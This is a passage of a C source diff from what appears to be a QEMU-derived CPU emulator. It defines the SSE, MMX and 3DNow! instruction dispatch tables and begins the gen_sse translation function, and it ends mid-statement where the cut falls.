+static inline void gen_op_movq_env_0(TCGContext *s, int d_offset) +{ + TCGv_i64 cpu_tmp1_i64 = s->cpu_tmp1_i64; + + tcg_gen_movi_i64(s, cpu_tmp1_i64, 0); + tcg_gen_st_i64(s, cpu_tmp1_i64, s->cpu_env, d_offset); +} + +typedef void (*SSEFunc_i_ep)(TCGContext *s, TCGv_i32 val, TCGv_ptr env, TCGv_ptr reg); +typedef void (*SSEFunc_l_ep)(TCGContext *s, TCGv_i64 val, TCGv_ptr env, TCGv_ptr reg); +typedef void (*SSEFunc_0_epi)(TCGContext *s, TCGv_ptr env, TCGv_ptr reg, TCGv_i32 val); +typedef void (*SSEFunc_0_epl)(TCGContext *s, TCGv_ptr env, TCGv_ptr reg, TCGv_i64 val); +typedef void (*SSEFunc_0_epp)(TCGContext *s, TCGv_ptr env, TCGv_ptr reg_a, TCGv_ptr reg_b); +typedef void (*SSEFunc_0_eppi)(TCGContext *s, TCGv_ptr env, TCGv_ptr reg_a, TCGv_ptr reg_b, + TCGv_i32 val); +typedef void (*SSEFunc_0_ppi)(TCGContext *s, TCGv_ptr reg_a, TCGv_ptr reg_b, TCGv_i32 val); +typedef void (*SSEFunc_0_eppt)(TCGContext *s, TCGv_ptr env, TCGv_ptr reg_a, TCGv_ptr reg_b, + TCGv val); + +#define SSE_SPECIAL ((void *)1) +#define SSE_DUMMY ((void *)2) + +#define MMX_OP2(x) { gen_helper_ ## x ## _mmx, gen_helper_ ## x ## _xmm } +#define SSE_FOP(x) { gen_helper_ ## x ## ps, gen_helper_ ## x ## pd, \ + gen_helper_ ## x ## ss, gen_helper_ ## x ## sd, } + +static const SSEFunc_0_epp sse_op_table1[256][4] = { + // filler: 0x00 - 0x0e + {0},{0},{0},{0},{0},{0},{0},{0},{0},{0},{0},{0},{0},{0}, + + /* 3DNow! extensions */ + { SSE_DUMMY }, /* femms */ + { SSE_DUMMY }, /* pf. . . */ + + /* pure SSE operations */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movups, movupd, movss, movsd */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movups, movupd, movss, movsd */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movlps, movlpd, movsldup, movddup */ + { SSE_SPECIAL, SSE_SPECIAL }, /* movlps, movlpd */ + { gen_helper_punpckldq_xmm, gen_helper_punpcklqdq_xmm }, + { gen_helper_punpckhdq_xmm, gen_helper_punpckhqdq_xmm }, + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movhps, movhpd, movshdup */ + { SSE_SPECIAL, SSE_SPECIAL }, /* movhps, movhpd */ + + // filler: 0x18 - 0x27 + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + + /* pure SSE operations */ + { SSE_SPECIAL, SSE_SPECIAL }, /* movaps, movapd */ + { SSE_SPECIAL, SSE_SPECIAL }, /* movaps, movapd */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* cvtpi2ps, cvtpi2pd, cvtsi2ss, cvtsi2sd */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movntps, movntpd, movntss, movntsd */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* cvttps2pi, cvttpd2pi, cvttsd2si, cvttss2si */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* cvtps2pi, cvtpd2pi, cvtsd2si, cvtss2si */ + { gen_helper_ucomiss, gen_helper_ucomisd }, + { gen_helper_comiss, gen_helper_comisd }, + + // filler: 0x30 - 0x37 + {0},{0},{0},{0},{0},{0},{0},{0}, + + /* SSSE3, SSE4, MOVBE, CRC32, BMI1, BMI2, ADX. */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, + {0}, // filler: 0x39 + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, + + // filler: 0x3b - 0x4f + {0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + + /* pure SSE operations */ + { SSE_SPECIAL, SSE_SPECIAL }, /* movmskps, movmskpd */ + SSE_FOP(sqrt), + { gen_helper_rsqrtps, NULL, gen_helper_rsqrtss, NULL }, + { gen_helper_rcpps, NULL, gen_helper_rcpss, NULL }, + { gen_helper_pand_xmm, gen_helper_pand_xmm }, /* andps, andpd */ + { gen_helper_pandn_xmm, gen_helper_pandn_xmm }, /* andnps, andnpd */ + { gen_helper_por_xmm, gen_helper_por_xmm }, /* orps, orpd */ + { gen_helper_pxor_xmm, gen_helper_pxor_xmm }, /* xorps, xorpd */ + SSE_FOP(add), + SSE_FOP(mul), + { gen_helper_cvtps2pd, gen_helper_cvtpd2ps, + gen_helper_cvtss2sd, gen_helper_cvtsd2ss }, + { gen_helper_cvtdq2ps, gen_helper_cvtps2dq, gen_helper_cvttps2dq }, + SSE_FOP(sub), + SSE_FOP(min), + SSE_FOP(div), + SSE_FOP(max), + + /* MMX ops and their SSE extensions */ + MMX_OP2(punpcklbw), + MMX_OP2(punpcklwd), + MMX_OP2(punpckldq), + MMX_OP2(packsswb), + MMX_OP2(pcmpgtb), + MMX_OP2(pcmpgtw), + MMX_OP2(pcmpgtl), + MMX_OP2(packuswb), + MMX_OP2(punpckhbw), + MMX_OP2(punpckhwd), + MMX_OP2(punpckhdq), + MMX_OP2(packssdw), + { NULL, gen_helper_punpcklqdq_xmm }, + { NULL, gen_helper_punpckhqdq_xmm }, + { SSE_SPECIAL, SSE_SPECIAL }, /* movd mm, ea */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movq, movdqa, , movqdu */ + { (SSEFunc_0_epp)gen_helper_pshufw_mmx, + (SSEFunc_0_epp)gen_helper_pshufd_xmm, + (SSEFunc_0_epp)gen_helper_pshufhw_xmm, + (SSEFunc_0_epp)gen_helper_pshuflw_xmm }, /* XXX: casts */ + { SSE_SPECIAL, SSE_SPECIAL }, /* shiftw */ + { SSE_SPECIAL, SSE_SPECIAL }, /* shiftd */ + { SSE_SPECIAL, SSE_SPECIAL }, /* shiftq */ + MMX_OP2(pcmpeqb), + MMX_OP2(pcmpeqw), + MMX_OP2(pcmpeql), + { SSE_DUMMY }, /* emms */ + { NULL, SSE_SPECIAL, NULL, SSE_SPECIAL }, /* extrq_i, insertq_i */ + { NULL, gen_helper_extrq_r, NULL, gen_helper_insertq_r }, + {0},{0}, // filler: 0x7a - 0x7b + { NULL, gen_helper_haddpd, NULL, gen_helper_haddps }, + { NULL, gen_helper_hsubpd, NULL, gen_helper_hsubps }, + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movd, movd, , movq */ + { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movq, movdqa, movdqu */ + + // filler: 0x80 - 0xc1 + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0}, + + SSE_FOP(cmpeq), + + // filler: 0xc3 + {0}, + + /* MMX ops and their SSE extensions */ + { SSE_SPECIAL, SSE_SPECIAL }, /* pinsrw */ + { SSE_SPECIAL, SSE_SPECIAL }, /* pextrw */ + + { (SSEFunc_0_epp)gen_helper_shufps, + (SSEFunc_0_epp)gen_helper_shufpd }, /* XXX: casts */ + + // filler: 0xc7 - 0xcf + {0}, {0},{0},{0},{0},{0},{0},{0},{0}, + + /* MMX ops and their SSE extensions */ + { NULL, gen_helper_addsubpd, NULL, gen_helper_addsubps }, + MMX_OP2(psrlw), + MMX_OP2(psrld), + MMX_OP2(psrlq), + MMX_OP2(paddq), + MMX_OP2(pmullw), + { NULL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, + { SSE_SPECIAL, SSE_SPECIAL }, /* pmovmskb */ + MMX_OP2(psubusb), + MMX_OP2(psubusw), + MMX_OP2(pminub), + MMX_OP2(pand), + MMX_OP2(paddusb), + MMX_OP2(paddusw), + MMX_OP2(pmaxub), + MMX_OP2(pandn), + MMX_OP2(pavgb), + MMX_OP2(psraw), + MMX_OP2(psrad), + MMX_OP2(pavgw), + MMX_OP2(pmulhuw), + MMX_OP2(pmulhw), + { NULL, gen_helper_cvttpd2dq, gen_helper_cvtdq2pd, gen_helper_cvtpd2dq }, + { SSE_SPECIAL , SSE_SPECIAL }, /* movntq, movntq */ + MMX_OP2(psubsb), + MMX_OP2(psubsw), + MMX_OP2(pminsw), + MMX_OP2(por), + MMX_OP2(paddsb), + MMX_OP2(paddsw), + MMX_OP2(pmaxsw), + MMX_OP2(pxor), + { NULL, NULL, NULL, SSE_SPECIAL }, /* lddqu */ + MMX_OP2(psllw), + MMX_OP2(pslld), + MMX_OP2(psllq), + MMX_OP2(pmuludq), + MMX_OP2(pmaddwd), + MMX_OP2(psadbw), + { (SSEFunc_0_epp)gen_helper_maskmov_mmx, + (SSEFunc_0_epp)gen_helper_maskmov_xmm }, /* XXX: casts */ + MMX_OP2(psubb), + MMX_OP2(psubw), + MMX_OP2(psubl), + MMX_OP2(psubq), + MMX_OP2(paddb), + MMX_OP2(paddw), + MMX_OP2(paddl), + + // filler: 0xff + {0}, +}; + +static const SSEFunc_0_epp sse_op_table2[3 * 8][2] = { +#ifdef _MSC_VER + {0},{0}, + MMX_OP2(psrlw), + {0}, + MMX_OP2(psraw), + {0}, + MMX_OP2(psllw), + {0},{0},{0}, + MMX_OP2(psrld), + {0}, + MMX_OP2(psrad), + {0}, + MMX_OP2(pslld), + {0},{0},{0}, + MMX_OP2(psrlq), + { NULL, gen_helper_psrldq_xmm }, + {0},{0}, + MMX_OP2(psllq), + { NULL, gen_helper_pslldq_xmm }, +#else + [0 + 2] = MMX_OP2(psrlw), + [0 + 4] = MMX_OP2(psraw), + [0 + 6] = MMX_OP2(psllw), + [8 + 2] = MMX_OP2(psrld), + [8 + 4] = MMX_OP2(psrad), + [8 + 6] = MMX_OP2(pslld), + [16 + 2] = MMX_OP2(psrlq), + [16 + 3] = { NULL, gen_helper_psrldq_xmm }, + [16 + 6] = MMX_OP2(psllq), + [16 + 7] = { NULL, gen_helper_pslldq_xmm }, +#endif +}; + +static const SSEFunc_0_epi sse_op_table3ai[] = { + gen_helper_cvtsi2ss, + gen_helper_cvtsi2sd +}; + +#ifdef TARGET_X86_64 +static const SSEFunc_0_epl sse_op_table3aq[] = { + gen_helper_cvtsq2ss, + gen_helper_cvtsq2sd +}; +#endif + +static const SSEFunc_i_ep sse_op_table3bi[] = { + gen_helper_cvttss2si, + gen_helper_cvtss2si, + gen_helper_cvttsd2si, + gen_helper_cvtsd2si +}; + +#ifdef TARGET_X86_64 +static const SSEFunc_l_ep sse_op_table3bq[] = { + gen_helper_cvttss2sq, + gen_helper_cvtss2sq, + gen_helper_cvttsd2sq, + gen_helper_cvtsd2sq +}; +#endif + +static const SSEFunc_0_epp sse_op_table4[8][4] = { + SSE_FOP(cmpeq), + SSE_FOP(cmplt), + SSE_FOP(cmple), + SSE_FOP(cmpunord), + SSE_FOP(cmpneq), + SSE_FOP(cmpnlt), + SSE_FOP(cmpnle), + SSE_FOP(cmpord), +}; + +static const SSEFunc_0_epp sse_op_table5[256] = { +#ifdef _MSC_VER + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0}, // filler: 0x00 - 0x0b + gen_helper_pi2fw, + gen_helper_pi2fd, + {0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0}, // filler: 0x0e - 0x01b + gen_helper_pf2iw, + gen_helper_pf2id, + // filler: 0x1e - 0x89 + {0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0}, + gen_helper_pfnacc, + {0},{0},{0}, // filler: 0x8b - 0x8d + gen_helper_pfpnacc, + {0}, // filler: 0x8f + gen_helper_pfcmpge, + {0},{0},{0}, // filler: 0x91 - 0x93 + gen_helper_pfmin, + {0}, // filler: 0x95 + gen_helper_pfrcp, + gen_helper_pfrsqrt, + {0},{0}, // filler: 0x98 - 0x99 + gen_helper_pfsub, + {0},{0},{0}, // filler: 0x9b - 0x9d + gen_helper_pfadd, + {0}, // filler: 0x9f + gen_helper_pfcmpgt, + {0},{0},{0}, // filler: 0xa1 - 0xa3 + gen_helper_pfmax, + {0}, // filler: 0xa5 + gen_helper_movq, /* pfrcpit1; no need to actually increase precision */ + gen_helper_movq, /* pfrsqit1 */ + {0},{0}, // filler: 0xa8 - 0xa9 + gen_helper_pfsubr, + {0},{0},{0}, // filler: 0xab - 0xad + gen_helper_pfacc, + {0}, // filler: 0xaf + gen_helper_pfcmpeq, + {0},{0},{0}, // filler: 0xb1 - 0xb3 + gen_helper_pfmul, + {0}, // filler: 0xb5 + gen_helper_movq, /* pfrcpit2 */ + gen_helper_pmulhrw_mmx, + {0},{0},{0}, // filler: 0xb8 - 0xba + gen_helper_pswapd, + {0},{0},{0}, // filler: 0xbc - 0xbe + gen_helper_pavgb_mmx, /* pavgusb */ + // filler: 0xc0 - 0xff + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, + {0},{0},{0},{0},{0},{0},{0},{0}, {0},{0},{0},{0},{0},{0},{0},{0}, +#else + [0x0c] = gen_helper_pi2fw, + [0x0d] = gen_helper_pi2fd, + [0x1c] = gen_helper_pf2iw, + [0x1d] = gen_helper_pf2id, + [0x8a] = gen_helper_pfnacc, + [0x8e] = gen_helper_pfpnacc, + [0x90] = gen_helper_pfcmpge, + [0x94] = gen_helper_pfmin, + [0x96] = gen_helper_pfrcp, + [0x97] = gen_helper_pfrsqrt, + [0x9a] = gen_helper_pfsub, + [0x9e] = gen_helper_pfadd, + [0xa0] = gen_helper_pfcmpgt, + [0xa4] = gen_helper_pfmax, + [0xa6] = gen_helper_movq, /* pfrcpit1; no need to actually increase precision */ + [0xa7] = gen_helper_movq, /* pfrsqit1 */ + [0xaa] = gen_helper_pfsubr, + [0xae] = gen_helper_pfacc, + [0xb0] = gen_helper_pfcmpeq, + [0xb4] = gen_helper_pfmul, + [0xb6] = gen_helper_movq, /* pfrcpit2 */ + [0xb7] = gen_helper_pmulhrw_mmx, + [0xbb] = gen_helper_pswapd, + [0xbf] = gen_helper_pavgb_mmx /* pavgusb */ +#endif +}; + +struct SSEOpHelper_epp { + SSEFunc_0_epp op[2]; + uint32_t ext_mask; +}; + +struct SSEOpHelper_eppi { + SSEFunc_0_eppi op[2]; + uint32_t ext_mask; +}; + +#define SSSE3_OP(x) { MMX_OP2(x), CPUID_EXT_SSSE3 } +#define SSE41_OP(x) { { NULL, gen_helper_ ## x ## _xmm }, CPUID_EXT_SSE41 } +#define SSE42_OP(x) { { NULL, gen_helper_ ## x ## _xmm }, CPUID_EXT_SSE42 } +#define SSE41_SPECIAL { { NULL, SSE_SPECIAL }, CPUID_EXT_SSE41 } +#define PCLMULQDQ_OP(x) { { NULL, gen_helper_ ## x ## _xmm }, \ + CPUID_EXT_PCLMULQDQ } +#define AESNI_OP(x) { { NULL, gen_helper_ ## x ## _xmm }, CPUID_EXT_AES } + +static const struct SSEOpHelper_epp sse_op_table6[256] = { + SSSE3_OP(pshufb), + SSSE3_OP(phaddw), + SSSE3_OP(phaddd), + SSSE3_OP(phaddsw), + SSSE3_OP(pmaddubsw), + SSSE3_OP(phsubw), + SSSE3_OP(phsubd), + SSSE3_OP(phsubsw), + SSSE3_OP(psignb), + SSSE3_OP(psignw), + SSSE3_OP(psignd), + SSSE3_OP(pmulhrsw), + {{0},0},{{0},0},{{0},0},{{0},0}, // filler: 0x0c - 0x0f + SSE41_OP(pblendvb), + {{0},0},{{0},0},{{0},0}, // filler: 0x11 - 0x13 + SSE41_OP(blendvps), + SSE41_OP(blendvpd), + {{0},0}, // filler: 0x16 + SSE41_OP(ptest), + {{0},0},{{0},0},{{0},0},{{0},0}, // filler: 0x18 - 0x1b + SSSE3_OP(pabsb), + SSSE3_OP(pabsw), + SSSE3_OP(pabsd), + {{0},0}, // filler: 0x1f + SSE41_OP(pmovsxbw), + SSE41_OP(pmovsxbd), + SSE41_OP(pmovsxbq), + SSE41_OP(pmovsxwd), + SSE41_OP(pmovsxwq), + SSE41_OP(pmovsxdq), + {{0},0},{{0},0}, // filler: 0x26 - 0x27 + SSE41_OP(pmuldq), + SSE41_OP(pcmpeqq), + SSE41_SPECIAL, /* movntqda */ + SSE41_OP(packusdw), + {{0},0},{{0},0},{{0},0},{{0},0}, // filler: 0x2c - 0x2f + SSE41_OP(pmovzxbw), + SSE41_OP(pmovzxbd), + SSE41_OP(pmovzxbq), + SSE41_OP(pmovzxwd), + SSE41_OP(pmovzxwq), + SSE41_OP(pmovzxdq), + {{0},0}, // filler: 0x36 + SSE42_OP(pcmpgtq), + SSE41_OP(pminsb), + SSE41_OP(pminsd), + SSE41_OP(pminuw), + SSE41_OP(pminud), + SSE41_OP(pmaxsb), + SSE41_OP(pmaxsd), + SSE41_OP(pmaxuw), + SSE41_OP(pmaxud), + SSE41_OP(pmulld), + SSE41_OP(phminposuw), + // filler: 0x42 - 0xda + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0}, + AESNI_OP(aesimc), + AESNI_OP(aesenc), + AESNI_OP(aesenclast), + AESNI_OP(aesdec), + AESNI_OP(aesdeclast), + // filler: 0xe0 - 0xff + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, +}; + +static const struct SSEOpHelper_eppi sse_op_table7[256] = { +#ifdef _MSC_VER + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, // filler: 0x00 - 0x07 + SSE41_OP(roundps), + SSE41_OP(roundpd), + SSE41_OP(roundss), + SSE41_OP(roundsd), + SSE41_OP(blendps), + SSE41_OP(blendpd), + SSE41_OP(pblendw), + SSSE3_OP(palignr), + {{0},0},{{0},0},{{0},0},{{0},0}, // filler: 0x10 - 0x13 + SSE41_SPECIAL, /* pextrb */ + SSE41_SPECIAL, /* pextrw */ + SSE41_SPECIAL, /* pextrd/pextrq */ + SSE41_SPECIAL, /* extractps */ + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, // filler: 0x18 - 0x1f + SSE41_SPECIAL, /* pinsrb */ + SSE41_SPECIAL, /* insertps */ + SSE41_SPECIAL, /* pinsrd/pinsrq */ + // filler: 0x23 - 0x3f + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + SSE41_OP(dpps), + SSE41_OP(dppd), + SSE41_OP(mpsadbw), + {{0},0}, // filler: 0x43 + PCLMULQDQ_OP(pclmulqdq), + // filler: 0x45 - 0x5f + {{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + SSE42_OP(pcmpestrm), + SSE42_OP(pcmpestri), + SSE42_OP(pcmpistrm), + SSE42_OP(pcmpistri), + // filler: 0x64 - 0xde + {{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + AESNI_OP(aeskeygenassist), + // filler: 0xe0 - 0xff + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, + {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, {{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0},{{0},0}, +#else + [0x08] = SSE41_OP(roundps), + [0x09] = SSE41_OP(roundpd), + [0x0a] = SSE41_OP(roundss), + [0x0b] = SSE41_OP(roundsd), + [0x0c] = SSE41_OP(blendps), + [0x0d] = SSE41_OP(blendpd), + [0x0e] = SSE41_OP(pblendw), + [0x0f] = SSSE3_OP(palignr), + [0x14] = SSE41_SPECIAL, /* pextrb */ + [0x15] = SSE41_SPECIAL, /* pextrw */ + [0x16] = SSE41_SPECIAL, /* pextrd/pextrq */ + [0x17] = SSE41_SPECIAL, /* extractps */ + [0x20] = SSE41_SPECIAL, /* pinsrb */ + [0x21] = SSE41_SPECIAL, /* insertps */ + [0x22] = SSE41_SPECIAL, /* pinsrd/pinsrq */ + [0x40] = SSE41_OP(dpps), + [0x41] = SSE41_OP(dppd), + [0x42] = SSE41_OP(mpsadbw), + [0x44] = PCLMULQDQ_OP(pclmulqdq), + [0x60] = SSE42_OP(pcmpestrm), + [0x61] = SSE42_OP(pcmpestri), + [0x62] = SSE42_OP(pcmpistrm), + [0x63] = SSE42_OP(pcmpistri), + [0xdf] = AESNI_OP(aeskeygenassist), +#endif +}; + +static void gen_sse(CPUX86State *env, DisasContext *s, int b, + target_ulong pc_start, int rex_r) +{ + int b1, op1_offset, op2_offset, is_xmm, val; + int modrm, mod, rm, reg; + SSEFunc_0_epp sse_fn_epp; + SSEFunc_0_eppi sse_fn_eppi; + SSEFunc_0_ppi sse_fn_ppi; + SSEFunc_0_eppt sse_fn_eppt; + TCGMemOp ot; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr cpu_env = tcg_ctx->cpu_env; + TCGv_ptr cpu_ptr0 = tcg_ctx->cpu_ptr0; + TCGv_ptr cpu_ptr1 = tcg_ctx->cpu_ptr1; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv_i32 cpu_tmp3_i32 = tcg_ctx->cpu_tmp3_i32; + TCGv_i64 cpu_tmp1_i64 = tcg_ctx->cpu_tmp1_i64; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + b &= 0xff; + if (s->prefix & PREFIX_DATA) + b1 = 1; + else if (s->prefix & PREFIX_REPZ) + b1 = 2; + else if (s->prefix & PREFIX_REPNZ) + b1 = 3; + else + b1 = 0; + sse_fn_epp = sse_op_table1[b][b1]; + if (!sse_fn_epp) { + goto illegal_op; + } + if ((b <= 0x5f && b >= 0x10) || b == 0xc6 || b == 0xc2) { + is_xmm = 1; + } else { + if (b1 == 0) { + /* MMX case */ + is_xmm = 0; + } else { + is_xmm = 1; + } + } + /* simple MMX/SSE operation */ + if (s->flags & HF_TS_MASK) { + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + return; + } + if (s->flags & HF_EM_MASK) { + illegal_op: + gen_exception(s, EXCP06_ILLOP, pc_start - s->cs_base); + return; + } + if (is_xmm && !(s->flags & HF_OSFXSR_MASK)) + if ((b != 0x38 && b != 0x3a) || (s->prefix & PREFIX_DATA)) + goto illegal_op; + if (b == 0x0e) { + if (!(s->cpuid_ext2_features & CPUID_EXT2_3DNOW)) + goto illegal_op; + /* femms */ + gen_helper_emms(tcg_ctx, cpu_env); + return; + } + if (b == 0x77) { + /* emms */ + gen_helper_emms(tcg_ctx, cpu_env); + return; + } + /* prepare MMX state (XXX: optimize by storing fptt and fptags in + the static cpu state) */ + if (!is_xmm) { + gen_helper_enter_mmx(tcg_ctx, cpu_env); + } + + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7); + if (is_xmm) + reg |= rex_r; + mod = (modrm >> 6) & 3; + if (sse_fn_epp == SSE_SPECIAL) { + b |= (b1 << 8); + switch(b) { + case 0x0e7: /* movntq */ + if (mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + gen_stq_env_A0(s, offsetof(CPUX86State, fpregs[reg].mmx)); + break; + case 0x1e7: /* movntdq */ + case 0x02b: /* movntps */ + case 0x12b: /* movntps */ + if (mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + gen_sto_env_A0(s, offsetof(CPUX86State, xmm_regs[reg])); + break; + case 0x3f0: /* lddqu */ + if (mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + gen_ldo_env_A0(s, offsetof(CPUX86State, xmm_regs[reg])); + break; + case 0x22b: /* movntss */ + case 0x32b: /* movntsd */ + if (mod == 